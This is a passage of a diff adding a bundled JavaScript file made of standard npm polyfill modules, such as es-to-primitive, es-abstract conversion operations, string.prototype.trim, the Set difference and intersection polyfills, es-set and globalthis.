node_modules/es-to-primitive/helpers/isPrimitive.js +var require_isPrimitive2 = __commonJS({ + "node_modules/es-to-primitive/helpers/isPrimitive.js"(exports, module2) { + "use strict"; + module2.exports = function isPrimitive(value) { + return value === null || typeof value !== "function" && typeof value !== "object"; + }; + } +}); + +// node_modules/is-date-object/index.js +var require_is_date_object = __commonJS({ + "node_modules/is-date-object/index.js"(exports, module2) { + "use strict"; + var getDay = Date.prototype.getDay; + var tryDateObject = function tryDateGetDayCall(value) { + try { + getDay.call(value); + return true; + } catch (e) { + return false; + } + }; + var toStr = Object.prototype.toString; + var dateClass = "[object Date]"; + var hasToStringTag = require_shams2()(); + module2.exports = function isDateObject(value) { + if (typeof value !== "object" || value === null) { + return false; + } + return hasToStringTag ? tryDateObject(value) : toStr.call(value) === dateClass; + }; + } +}); + +// node_modules/is-symbol/index.js +var require_is_symbol = __commonJS({ + "node_modules/is-symbol/index.js"(exports, module2) { + "use strict"; + var toStr = Object.prototype.toString; + var hasSymbols = require_has_symbols()(); + if (hasSymbols) { + symToStr = Symbol.prototype.toString; + symStringRegex = /^Symbol\(.*\)$/; + isSymbolObject = function isRealSymbolObject(value) { + if (typeof value.valueOf() !== "symbol") { + return false; + } + return symStringRegex.test(symToStr.call(value)); + }; + module2.exports = function isSymbol(value) { + if (typeof value === "symbol") { + return true; + } + if (toStr.call(value) !== "[object Symbol]") { + return false; + } + try { + return isSymbolObject(value); + } catch (e) { + return false; + } + }; + } else { + module2.exports = function isSymbol(value) { + return false; + }; + } + var symToStr; + var symStringRegex; + var isSymbolObject; + } +}); + +// node_modules/es-to-primitive/es2015.js +var require_es2015 = __commonJS({ + "node_modules/es-to-primitive/es2015.js"(exports, module2) { + "use strict"; + var hasSymbols = typeof Symbol === "function" && typeof Symbol.iterator === "symbol"; + var isPrimitive = require_isPrimitive2(); + var isCallable = require_is_callable(); + var isDate = require_is_date_object(); + var isSymbol = require_is_symbol(); + var ordinaryToPrimitive = function OrdinaryToPrimitive(O, hint) { + if (typeof O === "undefined" || O === null) { + throw new TypeError("Cannot call method on " + O); + } + if (typeof hint !== "string" || hint !== "number" && hint !== "string") { + throw new TypeError('hint must be "string" or "number"'); + } + var methodNames = hint === "string" ? ["toString", "valueOf"] : ["valueOf", "toString"]; + var method, result, i; + for (i = 0; i < methodNames.length; ++i) { + method = O[methodNames[i]]; + if (isCallable(method)) { + result = method.call(O); + if (isPrimitive(result)) { + return result; + } + } + } + throw new TypeError("No default value"); + }; + var GetMethod = function GetMethod2(O, P) { + var func = O[P]; + if (func !== null && typeof func !== "undefined") { + if (!isCallable(func)) { + throw new TypeError(func + " returned for property " + P + " of object " + O + " is not a function"); + } + return func; + } + return void 0; + }; + module2.exports = function ToPrimitive(input) { + if (isPrimitive(input)) { + return input; + } + var hint = "default"; + if (arguments.length > 1) { + if (arguments[1] === String) { + hint = "string"; + } else if (arguments[1] === Number) { + hint = "number"; + } + } + var exoticToPrim; + if (hasSymbols) { + if (Symbol.toPrimitive) { + exoticToPrim = GetMethod(input, Symbol.toPrimitive); + } else if (isSymbol(input)) { + exoticToPrim = Symbol.prototype.valueOf; + } + } + if (typeof exoticToPrim !== "undefined") { + var result = exoticToPrim.call(input, hint); + if (isPrimitive(result)) { + return result; + } + throw new TypeError("unable to convert exotic object to primitive"); + } + if (hint === "default" && (isDate(input) || isSymbol(input))) { + hint = "string"; + } + return ordinaryToPrimitive(input, hint === "default" ? "number" : hint); + }; + } +}); + +// node_modules/es-abstract/2024/ToPrimitive.js +var require_ToPrimitive = __commonJS({ + "node_modules/es-abstract/2024/ToPrimitive.js"(exports, module2) { + "use strict"; + var toPrimitive = require_es2015(); + module2.exports = function ToPrimitive(input) { + if (arguments.length > 1) { + return toPrimitive(input, arguments[1]); + } + return toPrimitive(input); + }; + } +}); + +// node_modules/is-regex/index.js +var require_is_regex = __commonJS({ + "node_modules/is-regex/index.js"(exports, module2) { + "use strict"; + var callBound = require_callBound(); + var hasToStringTag = require_shams2()(); + var has; + var $exec; + var isRegexMarker; + var badStringifier; + if (hasToStringTag) { + has = callBound("Object.prototype.hasOwnProperty"); + $exec = callBound("RegExp.prototype.exec"); + isRegexMarker = {}; + throwRegexMarker = function() { + throw isRegexMarker; + }; + badStringifier = { + toString: throwRegexMarker, + valueOf: throwRegexMarker + }; + if (typeof Symbol.toPrimitive === "symbol") { + badStringifier[Symbol.toPrimitive] = throwRegexMarker; + } + } + var throwRegexMarker; + var $toString = callBound("Object.prototype.toString"); + var gOPD = Object.getOwnPropertyDescriptor; + var regexClass = "[object RegExp]"; + module2.exports = hasToStringTag ? function isRegex(value) { + if (!value || typeof value !== "object") { + return false; + } + var descriptor = gOPD(value, "lastIndex"); + var hasLastIndexDataProperty = descriptor && has(descriptor, "value"); + if (!hasLastIndexDataProperty) { + return false; + } + try { + $exec(value, badStringifier); + } catch (e) { + return e === isRegexMarker; + } + } : function isRegex(value) { + if (!value || typeof value !== "object" && typeof value !== "function") { + return false; + } + return $toString(value) === regexClass; + }; + } +}); + +// node_modules/safe-regex-test/index.js +var require_safe_regex_test = __commonJS({ + "node_modules/safe-regex-test/index.js"(exports, module2) { + "use strict"; + var callBound = require_callBound(); + var isRegex = require_is_regex(); + var $exec = callBound("RegExp.prototype.exec"); + var $TypeError = require_type(); + module2.exports = function regexTester(regex) { + if (!isRegex(regex)) { + throw new $TypeError("`regex` must be a RegExp"); + } + return function test(s) { + return $exec(regex, s) !== null; + }; + }; + } +}); + +// node_modules/es-abstract/2024/ToString.js +var require_ToString2 = __commonJS({ + "node_modules/es-abstract/2024/ToString.js"(exports, module2) { + "use strict"; + var GetIntrinsic = require_get_intrinsic(); + var $String = GetIntrinsic("%String%"); + var $TypeError = require_type(); + module2.exports = function ToString(argument) { + if (typeof argument === "symbol") { + throw new $TypeError("Cannot convert a Symbol value to a string"); + } + return $String(argument); + }; + } +}); + +// node_modules/string.prototype.trim/implementation.js +var require_implementation6 = __commonJS({ + "node_modules/string.prototype.trim/implementation.js"(exports, module2) { + "use strict"; + var RequireObjectCoercible = require_RequireObjectCoercible(); + var ToString = require_ToString2(); + var callBound = require_callBound(); + var $replace = callBound("String.prototype.replace"); + var mvsIsWS = /^\s$/.test("\u180E"); + var leftWhitespace = mvsIsWS ? /^[\x09\x0A\x0B\x0C\x0D\x20\xA0\u1680\u180E\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000\u2028\u2029\uFEFF]+/ : /^[\x09\x0A\x0B\x0C\x0D\x20\xA0\u1680\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000\u2028\u2029\uFEFF]+/; + var rightWhitespace = mvsIsWS ? /[\x09\x0A\x0B\x0C\x0D\x20\xA0\u1680\u180E\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000\u2028\u2029\uFEFF]+$/ : /[\x09\x0A\x0B\x0C\x0D\x20\xA0\u1680\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000\u2028\u2029\uFEFF]+$/; + module2.exports = function trim() { + var S = ToString(RequireObjectCoercible(this)); + return $replace($replace(S, leftWhitespace, ""), rightWhitespace, ""); + }; + } +}); + +// node_modules/string.prototype.trim/polyfill.js +var require_polyfill3 = __commonJS({ + "node_modules/string.prototype.trim/polyfill.js"(exports, module2) { + "use strict"; + var implementation = require_implementation6(); + var zeroWidthSpace = "\u200B"; + var mongolianVowelSeparator = "\u180E"; + module2.exports = function getPolyfill() { + if (String.prototype.trim && zeroWidthSpace.trim() === zeroWidthSpace && mongolianVowelSeparator.trim() === mongolianVowelSeparator && ("_" + mongolianVowelSeparator).trim() === "_" + mongolianVowelSeparator && (mongolianVowelSeparator + "_").trim() === mongolianVowelSeparator + "_") { + return String.prototype.trim; + } + return implementation; + }; + } +}); + +// node_modules/string.prototype.trim/shim.js +var require_shim2 = __commonJS({ + "node_modules/string.prototype.trim/shim.js"(exports, module2) { + "use strict"; + var define = require_define_properties(); + var getPolyfill = require_polyfill3(); + module2.exports = function shimStringTrim() { + var polyfill = getPolyfill(); + define(String.prototype, { trim: polyfill }, { + trim: function testTrim() { + return String.prototype.trim !== polyfill; + } + }); + return polyfill; + }; + } +}); + +// node_modules/string.prototype.trim/index.js +var require_string_prototype = __commonJS({ + "node_modules/string.prototype.trim/index.js"(exports, module2) { + "use strict"; + var callBind = require_call_bind(); + var define = require_define_properties(); + var RequireObjectCoercible = require_RequireObjectCoercible(); + var implementation = require_implementation6(); + var getPolyfill = require_polyfill3(); + var shim = require_shim2(); + var bound = callBind(getPolyfill()); + var boundMethod = function trim(receiver) { + RequireObjectCoercible(receiver); + return bound(receiver); + }; + define(boundMethod, { + getPolyfill, + implementation, + shim + }); + module2.exports = boundMethod; + } +}); + +// node_modules/es-abstract/2024/StringToNumber.js +var require_StringToNumber = __commonJS({ + "node_modules/es-abstract/2024/StringToNumber.js"(exports, module2) { + "use strict"; + var GetIntrinsic = require_get_intrinsic(); + var $Number = GetIntrinsic("%Number%"); + var $RegExp = GetIntrinsic("%RegExp%"); + var $TypeError = require_type(); + var $parseInteger = GetIntrinsic("%parseInt%"); + var callBound = require_callBound(); + var regexTester = require_safe_regex_test(); + var $strSlice = callBound("String.prototype.slice"); + var isBinary = regexTester(/^0b[01]+$/i); + var isOctal = regexTester(/^0o[0-7]+$/i); + var isInvalidHexLiteral = regexTester(/^[-+]0x[0-9a-f]+$/i); + var nonWS = ["\x85", "\u200B", "\uFFFE"].join(""); + var nonWSregex = new $RegExp("[" + nonWS + "]", "g"); + var hasNonWS = regexTester(nonWSregex); + var $trim = require_string_prototype(); + module2.exports = function StringToNumber(argument) { + if (typeof argument !== "string") { + throw new $TypeError("Assertion failed: `argument` is not a String"); + } + if (isBinary(argument)) { + return $Number($parseInteger($strSlice(argument, 2), 2)); + } + if (isOctal(argument)) { + return $Number($parseInteger($strSlice(argument, 2), 8)); + } + if (hasNonWS(argument) || isInvalidHexLiteral(argument)) { + return NaN; + } + var trimmed = $trim(argument); + if (trimmed !== argument) { + return StringToNumber(trimmed); + } + return $Number(argument); + }; + } +}); + +// node_modules/es-abstract/2024/ToNumber.js +var require_ToNumber = __commonJS({ + "node_modules/es-abstract/2024/ToNumber.js"(exports, module2) { + "use strict"; + var GetIntrinsic = require_get_intrinsic(); + var $TypeError = require_type(); + var $Number = GetIntrinsic("%Number%"); + var isPrimitive = require_isPrimitive(); + var ToPrimitive = require_ToPrimitive(); + var StringToNumber = require_StringToNumber(); + module2.exports = function ToNumber(argument) { + var value = isPrimitive(argument) ? argument : ToPrimitive(argument, $Number); + if (typeof value === "symbol") { + throw new $TypeError("Cannot convert a Symbol value to a number"); + } + if (typeof value === "bigint") { + throw new $TypeError("Conversion from 'BigInt' to 'number' is not allowed."); + } + if (typeof value === "string") { + return StringToNumber(value); + } + return $Number(value); + }; + } +}); + +// node_modules/es-abstract/2024/floor.js +var require_floor = __commonJS({ + "node_modules/es-abstract/2024/floor.js"(exports, module2) { + "use strict"; + var $floor = Math.floor; + module2.exports = function floor(x) { + if (typeof x === "bigint") { + return x; + } + return $floor(x); + }; + } +}); + +// node_modules/es-abstract/2024/truncate.js +var require_truncate = __commonJS({ + "node_modules/es-abstract/2024/truncate.js"(exports, module2) { + "use strict"; + var floor = require_floor(); + var $TypeError = require_type(); + module2.exports = function truncate(x) { + if (typeof x !== "number" && typeof x !== "bigint") { + throw new $TypeError("argument must be a Number or a BigInt"); + } + var result = x < 0 ? -floor(-x) : floor(x); + return result === 0 ? 0 : result; + }; + } +}); + +// node_modules/es-abstract/2024/ToIntegerOrInfinity.js +var require_ToIntegerOrInfinity = __commonJS({ + "node_modules/es-abstract/2024/ToIntegerOrInfinity.js"(exports, module2) { + "use strict"; + var ToNumber = require_ToNumber(); + var truncate = require_truncate(); + var $isNaN = require_isNaN(); + var $isFinite = require_isFinite(); + module2.exports = function ToIntegerOrInfinity(value) { + var number2 = ToNumber(value); + if ($isNaN(number2) || number2 === 0) { + return 0; + } + if (!$isFinite(number2)) { + return number2; + } + return truncate(number2); + }; + } +}); + +// node_modules/set.prototype.difference/aos/GetSetRecord.js +var require_GetSetRecord = __commonJS({ + "node_modules/set.prototype.difference/aos/GetSetRecord.js"(exports, module2) { + "use strict"; + var $RangeError = require_range(); + var $TypeError = require_type(); + var Get = require_Get2(); + var IsCallable = require_IsCallable2(); + var ToIntegerOrInfinity = require_ToIntegerOrInfinity(); + var ToNumber = require_ToNumber(); + var Type = require_Type3(); + var isNaN2 = require_isNaN(); + var callBind = require_call_bind(); + var isSet = require_is_set(); + var stopIterationIterator = require_stop_iteration_iterator(); + module2.exports = function GetSetRecord(obj) { + if (Type(obj) !== "Object") { + throw new $TypeError("obj is not an Object"); + } + var rawSize = Get(obj, "size"); + var numSize = ToNumber(rawSize); + if (isNaN2(numSize)) { + throw new $TypeError("size is not a non-NaN Number"); + } + var intSize = ToIntegerOrInfinity(numSize); + if (intSize < 0) { + throw new $RangeError("set size must be non-negative"); + } + var has = Get(obj, "has"); + if (!IsCallable(has)) { + throw new $TypeError("has is not a function"); + } + var keys = Get(obj, "keys"); + if (!IsCallable(keys)) { + throw new $TypeError("keys is not a function"); + } + if (isSet(obj) && typeof StopIteration === "object") { + var boundKeys = callBind(keys); + keys = function keys2() { + return stopIterationIterator(boundKeys(this)); + }; + } + return { "[[Set]]": obj, "[[Size]]": intSize, "[[Has]]": has, "[[Keys]]": keys }; + }; + } +}); + +// node_modules/es-abstract/2024/ToBoolean.js +var require_ToBoolean2 = __commonJS({ + "node_modules/es-abstract/2024/ToBoolean.js"(exports, module2) { + "use strict"; + module2.exports = function ToBoolean(value) { + return !!value; + }; + } +}); + +// node_modules/es-abstract/2024/IteratorComplete.js +var require_IteratorComplete2 = __commonJS({ + "node_modules/es-abstract/2024/IteratorComplete.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var Get = require_Get2(); + var ToBoolean = require_ToBoolean2(); + var Type = require_Type3(); + module2.exports = function IteratorComplete(iterResult) { + if (Type(iterResult) !== "Object") { + throw new $TypeError("Assertion failed: Type(iterResult) is not Object"); + } + return ToBoolean(Get(iterResult, "done")); + }; + } +}); + +// node_modules/es-abstract/2024/IteratorNext.js +var require_IteratorNext2 = __commonJS({ + "node_modules/es-abstract/2024/IteratorNext.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var Call = require_Call2(); + var Type = require_Type3(); + var isIteratorRecord = require_iterator_record(); + module2.exports = function IteratorNext(iteratorRecord) { + if (!isIteratorRecord(iteratorRecord)) { + throw new $TypeError("Assertion failed: `iteratorRecord` must be an Iterator Record"); + } + var result; + if (arguments.length < 2) { + result = Call(iteratorRecord["[[NextMethod]]"], iteratorRecord["[[Iterator]]"]); + } else { + result = Call(iteratorRecord["[[NextMethod]]"], iteratorRecord["[[Iterator]]"], [arguments[1]]); + } + if (Type(result) !== "Object") { + throw new $TypeError("iterator next must return an object"); + } + return result; + }; + } +}); + +// node_modules/es-abstract/2024/IteratorStepValue.js +var require_IteratorStepValue = __commonJS({ + "node_modules/es-abstract/2024/IteratorStepValue.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var Get = require_Get2(); + var IteratorComplete = require_IteratorComplete2(); + var IteratorNext = require_IteratorNext2(); + var isIteratorRecord = require_iterator_record(); + module2.exports = function IteratorStepValue(iteratorRecord) { + if (!isIteratorRecord(iteratorRecord)) { + throw new $TypeError("Assertion failed: `iteratorRecord` must be an Iterator Record"); + } + var result; + try { + result = IteratorNext(iteratorRecord); + } catch (e) { + iteratorRecord["[[Done]]"] = true; + throw e; + } + var done; + try { + done = IteratorComplete(result); + } catch (e) { + iteratorRecord["[[Done]]"] = true; + throw e; + } + if (done) { + iteratorRecord["[[Done]]"] = true; + return "DONE"; + } + var value; + try { + value = Get(result, "value"); + } catch (e) { + iteratorRecord["[[Done]]"] = true; + throw e; + } + return value; + }; + } +}); + +// node_modules/es-abstract/2024/SameValueZero.js +var require_SameValueZero2 = __commonJS({ + "node_modules/es-abstract/2024/SameValueZero.js"(exports, module2) { + "use strict"; + var $isNaN = require_isNaN(); + module2.exports = function SameValueZero(x, y) { + return x === y || $isNaN(x) && $isNaN(y); + }; + } +}); + +// node_modules/iterate-iterator/index.js +var require_iterate_iterator = __commonJS({ + "node_modules/iterate-iterator/index.js"(exports, module2) { + "use strict"; + var $TypeError = TypeError; + module2.exports = function iterateIterator(iterator) { + if (!iterator || typeof iterator.next !== "function") { + throw new $TypeError("iterator must be an object with a `next` method"); + } + if (arguments.length > 1) { + var callback = arguments[1]; + if (typeof callback !== "function") { + throw new $TypeError("`callback`, if provided, must be a function"); + } + } + var values = callback || []; + var result; + while ((result = iterator.next()) && !result.done) { + if (callback) { + callback(result.value); + } else { + values.push(result.value); + } + } + if (!callback) { + return values; + } + }; + } +}); + +// node_modules/iterate-value/index.js +var require_iterate_value = __commonJS({ + "node_modules/iterate-value/index.js"(exports, module2) { + "use strict"; + var getIterator = require_es_get_iterator(); + var $TypeError = TypeError; + var iterate = require_iterate_iterator(); + module2.exports = function iterateValue(iterable) { + var iterator = getIterator(iterable); + if (!iterator) { + throw new $TypeError("non-iterable value provided"); + } + if (arguments.length > 1) { + return iterate(iterator, arguments[1]); + } + return iterate(iterator); + }; + } +}); + +// node_modules/es-set/tools.js +var require_tools = __commonJS({ + "node_modules/es-set/tools.js"(exports, module2) { + "use strict"; + var $Set = require_polyfill2()(); + var callBind = require_call_bind(); + var callBound = require_callBound(); + var gOPD = require_gopd(); + var iterate = require_iterate_value(); + var $nativeSetForEach = callBound("Set.prototype.forEach", true); + var $polyfillSetForEach = callBind($Set.prototype.forEach); + var forEach = function(set, callback) { + if ($nativeSetForEach) { + try { + return $nativeSetForEach(set, callback); + } catch (e) { + } + } + try { + return $polyfillSetForEach(set, callback); + } catch (e) { + } + iterate(set, callback); + return void 0; + }; + var $nativeSetAdd = callBound("Set.prototype.add", true); + var $polyfillSetAdd = $Set.prototype.add && callBind($Set.prototype.add); + var add = function(S, v) { + if ($nativeSetAdd) { + try { + return $nativeSetAdd(S, v); + } catch (e) { + } + } + return $polyfillSetAdd(S, v); + }; + var $nativeSetHas = callBound("Set.prototype.has", true); + var $polyfillSetHas = callBind($Set.prototype.has); + var has = function(set, key) { + if ($nativeSetHas) { + try { + return $nativeSetHas(set, key); + } catch (e) { + } + } + return $polyfillSetHas(set, key); + }; + var $nativeSetDelete = callBound("Set.prototype.delete", true); + var $polyfillSetDelete = callBind($Set.prototype["delete"]); + var setDelete = function(set, key) { + if ($nativeSetDelete) { + try { + return $nativeSetDelete(set, key); + } catch (e) { + } + } + return $polyfillSetDelete(set, key); + }; + var $nativeSetSize = callBound("Set.prototype.size", true); + var $polyfillSetSize = gOPD ? callBind(gOPD($Set.prototype, "size").get) : null; + var legacySetSize = function setSize(set) { + var count = 0; + forEach(set, function() { + count += 1; + }); + return count; + }; + var size = function(S) { + if ($nativeSetSize) { + try { + return $nativeSetSize(S); + } catch (e) { + } + } + if ($polyfillSetSize) { + try { + return $polyfillSetSize(S); + } catch (e) { + } + } + return legacySetSize(S); + }; + module2.exports = { + add, + "delete": setDelete, + forEach, + has, + size + }; + } +}); + +// node_modules/set.prototype.difference/implementation.js +var require_implementation7 = __commonJS({ + "node_modules/set.prototype.difference/implementation.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var $Set = require_polyfill2()(); + var Call = require_Call2(); + var GetIteratorFromMethod = require_GetIteratorFromMethod2(); + var GetSetRecord = require_GetSetRecord(); + var IteratorStepValue = require_IteratorStepValue(); + var SameValueZero = require_SameValueZero2(); + var ToBoolean = require_ToBoolean2(); + var callBound = require_callBound(); + var isSet = require_is_set(); + var forEach = require_forEach(); + var tools = require_tools(); + var $setForEach = tools.forEach; + var $setAdd = tools.add; + var $setSize = tools.size; + var $push = callBound(".Array.prototype.push"); + var deleted = {}; + module2.exports = function difference2(other) { + var O = this; + if (!isSet(O) && !(O instanceof $Set)) { + throw new $TypeError("Method Set.prototype.difference called on incompatible receiver " + O); + } + var otherRec = GetSetRecord(other); + var thisSize = $setSize(O); + var result = new $Set(); + if (thisSize <= otherRec["[[Size]]"]) { + $setForEach(O, function(e) { + var inOther = ToBoolean(Call(otherRec["[[Has]]"], otherRec["[[Set]]"], [e])); + if (!inOther) { + $setAdd(result, e); + } + }); + } else { + var keysIter = GetIteratorFromMethod(otherRec["[[Set]]"], otherRec["[[Keys]]"]); + var resultSetData = []; + $setForEach(O, function(e) { + $push(resultSetData, e); + }); + var next; + while (!keysIter["[[Done]]"]) { + next = IteratorStepValue(keysIter); + if (!keysIter["[[Done]]"]) { + if (next === 0) { + next = 0; + } + for (var i = 0; i < resultSetData.length; i += 1) { + if (SameValueZero(resultSetData[i], next)) { + resultSetData[i] = deleted; + } + } + } + } + forEach(resultSetData, function(e) { + if (e !== deleted) { + $setAdd(result, e); + } + }); + } + return result; + }; + } +}); + +// node_modules/set.prototype.difference/polyfill.js +var require_polyfill4 = __commonJS({ + "node_modules/set.prototype.difference/polyfill.js"(exports, module2) { + "use strict"; + var Set2 = require_polyfill2()(); + var implementation = require_implementation7(); + module2.exports = function getPolyfill() { + return typeof Set2.prototype.difference === "function" ? Set2.prototype.difference : implementation; + }; + } +}); + +// node_modules/globalthis/implementation.browser.js +var require_implementation_browser = __commonJS({ + "node_modules/globalthis/implementation.browser.js"(exports, module2) { + "use strict"; + if (typeof self !== "undefined") { + module2.exports = self; + } else if (typeof window !== "undefined") { + module2.exports = window; + } else { + module2.exports = Function("return this")(); + } + } +}); + +// node_modules/globalthis/polyfill.js +var require_polyfill5 = __commonJS({ + "node_modules/globalthis/polyfill.js"(exports, module2) { + "use strict"; + var implementation = require_implementation_browser(); + module2.exports = function getPolyfill() { + if (typeof global !== "object" || !global || global.Math !== Math || global.Array !== Array) { + return implementation; + } + return global; + }; + } +}); + +// node_modules/globalthis/shim.js +var require_shim3 = __commonJS({ + "node_modules/globalthis/shim.js"(exports, module2) { + "use strict"; + var define = require_define_properties(); + var getPolyfill = require_polyfill5(); + module2.exports = function shimGlobal() { + var polyfill = getPolyfill(); + if (define.supportsDescriptors) { + var descriptor = Object.getOwnPropertyDescriptor(polyfill, "globalThis"); + if (!descriptor || descriptor.configurable && (descriptor.enumerable || !descriptor.writable || globalThis !== polyfill)) { + Object.defineProperty(polyfill, "globalThis", { + configurable: true, + enumerable: false, + value: polyfill, + writable: true + }); + } + } else if (typeof globalThis !== "object" || globalThis !== polyfill) { + polyfill.globalThis = polyfill; + } + return polyfill; + }; + } +}); + +// node_modules/globalthis/index.js +var require_globalthis = __commonJS({ + "node_modules/globalthis/index.js"(exports, module2) { + "use strict"; + var defineProperties = require_define_properties(); + var implementation = require_implementation_browser(); + var getPolyfill = require_polyfill5(); + var shim = require_shim3(); + var polyfill = getPolyfill(); + var getGlobal = function() { + return polyfill; + }; + defineProperties(getGlobal, { + getPolyfill, + implementation, + shim + }); + module2.exports = getGlobal; + } +}); + +// node_modules/es-set/shim.js +var require_shim4 = __commonJS({ + "node_modules/es-set/shim.js"(exports, module2) { + "use strict"; + var callBind = require_call_bind(); + var define = require_define_properties(); + var Call = require_Call(); + var DefinePropertyOrThrow = require_DefinePropertyOrThrow(); + var globalThis2 = require_globalthis()(); + var hasPropertyDescriptors = require_has_property_descriptors(); + var getStopIterationIterator = require_stop_iteration_iterator(); + var getPolyfill = require_polyfill2(); + var support = require_support(); + var addIterator = require_helpers().addIterator; + var force = function() { + return true; + }; + var replaceGlobal = function(SetShim) { + define(globalThis2, { Set: SetShim }, { Set: force }); + return SetShim; + }; + module2.exports = function shimSet() { + if (typeof Set === "function") { + if (support.isGoogleTranslate()) { + delete Set.prototype.remove; + delete Set.prototype.items; + delete Set.prototype.map; + define(Set.prototype, { keys: Set.prototype.values }, { keys: force }); + } + if (support.setHasOldFirefoxInterface()) { + if (typeof (/* @__PURE__ */ new Set()).size === "function" && hasPropertyDescriptors()) { + var $size = callBind(Set.prototype.size); + DefinePropertyOrThrow(Set.prototype, "size", { + "[[Configurable]]": true, + "[[Enumerable]]": false, + "[[Get]]": function size() { + return $size(this); + } + }); + } + var $entries = callBind(Set.prototype.entries); + var $values = callBind(Set.prototype.values); + define(Set.prototype, { + entries: function entries() { + return getStopIterationIterator($entries(this)); + }, + values: function values() { + return getStopIterationIterator($values(this)); + } + }, { + entries: force, + values: force + }); + if (typeof Set.prototype.forEach !== "function") { + var $iterator = callBind(Set.prototype.iterator); + define( + Set.prototype, + { + forEach: function forEach(cb) { + var iterator = getStopIterationIterator($iterator(this)); + var thisArg = arguments.length > 1 ? arguments[1] : void 0; + var cbB = callBind(cb, thisArg); + var result = iterator.next(); + while (!result.done) { + cbB(result.value, result.value, this); + result = iterator.next(); + } + } + }, + { forEach: force } + ); + } + } + } + var OrigSet = typeof Set === "function" ? Set : null; + if (typeof Set !== "function" || !support.setCompliantConstructor()) { + OrigSet = getPolyfill(); + replaceGlobal(OrigSet); + } + var OrigSet$prototype = OrigSet.prototype; + var OrigSet$add = OrigSet$prototype.add; + var OrigSet$has = OrigSet$prototype.has; + var OrigSet$delete = OrigSet$prototype["delete"]; + if (!support.setUsesSameValueZero()) { + define(OrigSet.prototype, { + add: function add(v) { + Call(OrigSet$add, this, [v === 0 ? 0 : v]); + return this; + }, + "delete": function _delete(v) { + return Call(OrigSet$delete, this, [v === 0 ? 0 : v]); + }, + has: function has(v) { + return Call(OrigSet$has, this, [v === 0 ? 0 : v]); + } + }, { + add: force, + "delete": force, + has: force + }); + } else if (!support.setSupportsChaining()) { + define(OrigSet.prototype, { + add: function add(v) { + Call(OrigSet$add, this, [v]); + return this; + } + }, { add: force }); + } + if (!support.setKeysIsValues()) { + define(OrigSet.prototype, { keys: OrigSet.prototype.values }, { keys: force }); + } + if (!support.setHasCorrectName()) { + define(OrigSet.prototype, { + has: function has(v) { + return Call(OrigSet$has, this, v); + } + }, { has: force }); + } + if (Object.getPrototypeOf) { + addIterator(Object.getPrototypeOf(new OrigSet().values())); + } + return OrigSet; + }; + } +}); + +// node_modules/set.prototype.difference/shim.js +var require_shim5 = __commonJS({ + "node_modules/set.prototype.difference/shim.js"(exports, module2) { + "use strict"; + var getPolyfill = require_polyfill4(); + var define = require_define_properties(); + var shimSet = require_shim4(); + module2.exports = function shimSetDifference() { + shimSet(); + var polyfill = getPolyfill(); + define( + Set.prototype, + { difference: polyfill }, + { difference: function() { + return Set.prototype.difference !== polyfill; + } } + ); + return polyfill; + }; + } +}); + +// node_modules/set.prototype.difference/index.js +var require_set_prototype = __commonJS({ + "node_modules/set.prototype.difference/index.js"(exports, module2) { + "use strict"; + var callBind = require_call_bind(); + var define = require_define_properties(); + var implementation = require_implementation7(); + var getPolyfill = require_polyfill4(); + var shim = require_shim5(); + var bound = callBind(getPolyfill()); + define(bound, { + getPolyfill, + implementation, + shim + }); + module2.exports = bound; + } +}); + +// node_modules/set.prototype.intersection/aos/GetSetRecord.js +var require_GetSetRecord2 = __commonJS({ + "node_modules/set.prototype.intersection/aos/GetSetRecord.js"(exports, module2) { + "use strict"; + var $RangeError = require_range(); + var $TypeError = require_type(); + var Get = require_Get2(); + var IsCallable = require_IsCallable2(); + var ToIntegerOrInfinity = require_ToIntegerOrInfinity(); + var ToNumber = require_ToNumber(); + var Type = require_Type3(); + var isNaN2 = require_isNaN(); + var callBind = require_call_bind(); + var isSet = require_is_set(); + var stopIterationIterator = require_stop_iteration_iterator(); + module2.exports = function GetSetRecord(obj) { + if (Type(obj) !== "Object") { + throw new $TypeError("obj is not an Object"); + } + var rawSize = Get(obj, "size"); + var numSize = ToNumber(rawSize); + if (isNaN2(numSize)) { + throw new $TypeError("size is not a non-NaN Number"); + } + var intSize = ToIntegerOrInfinity(numSize); + if (intSize < 0) { + throw new $RangeError("set size must be non-negative"); + } + var has = Get(obj, "has"); + if (!IsCallable(has)) { + throw new $TypeError("has is not a function"); + } + var keys = Get(obj, "keys"); + if (!IsCallable(keys)) { + throw new $TypeError("keys is not a function"); + } + if (isSet(obj) && typeof StopIteration === "object") { + var boundKeys = callBind(keys); + keys = function keys2() { + return stopIterationIterator(boundKeys(this)); + }; + } + return { "[[Set]]": obj, "[[Size]]": intSize, "[[Has]]": has, "[[Keys]]": keys }; + }; + } +}); + +// node_modules/es-abstract/helpers/some.js +var require_some = __commonJS({ + "node_modules/es-abstract/helpers/some.js"(exports, module2) { + "use strict"; + module2.exports = function some(array, predicate) { + for (var i = 0; i < array.length; i += 1) { + if (predicate(array[i], i, array)) { + return true; + } + } + return false; + }; + } +}); + +// node_modules/set.prototype.intersection/aos/SetDataHas.js +var require_SetDataHas = __commonJS({ + "node_modules/set.prototype.intersection/aos/SetDataHas.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var IsArray = require_IsArray3(); + var SameValueZero = require_SameValueZero2(); + var some = require_some(); + module2.exports = function SetDataHas(setData, value) { + if (!IsArray(setData)) { + throw new $TypeError("`setData` must be a List"); + } + return some(setData, function(e) { + return SameValueZero(e, value); + }); + }; + } +}); + +// node_modules/set.prototype.intersection/implementation.js +var require_implementation8 = __commonJS({ + "node_modules/set.prototype.intersection/implementation.js"(exports, module2) { + "use strict"; + var $TypeError = require_type(); + var $Set = require_polyfill2()(); + var Call = require_Call2(); + var GetIteratorFromMethod = require_GetIteratorFromMethod2(); + var GetSetRecord = require_GetSetRecord2(); + var IteratorStepValue = require_IteratorStepValue(); + var SetDataHas = require_SetDataHas(); + var ToBoolean = require_ToBoolean2(); + var forEach = require_forEach(); + var callBind = require_call_bind(); + var callBound = require_callBound(); + var isSet = 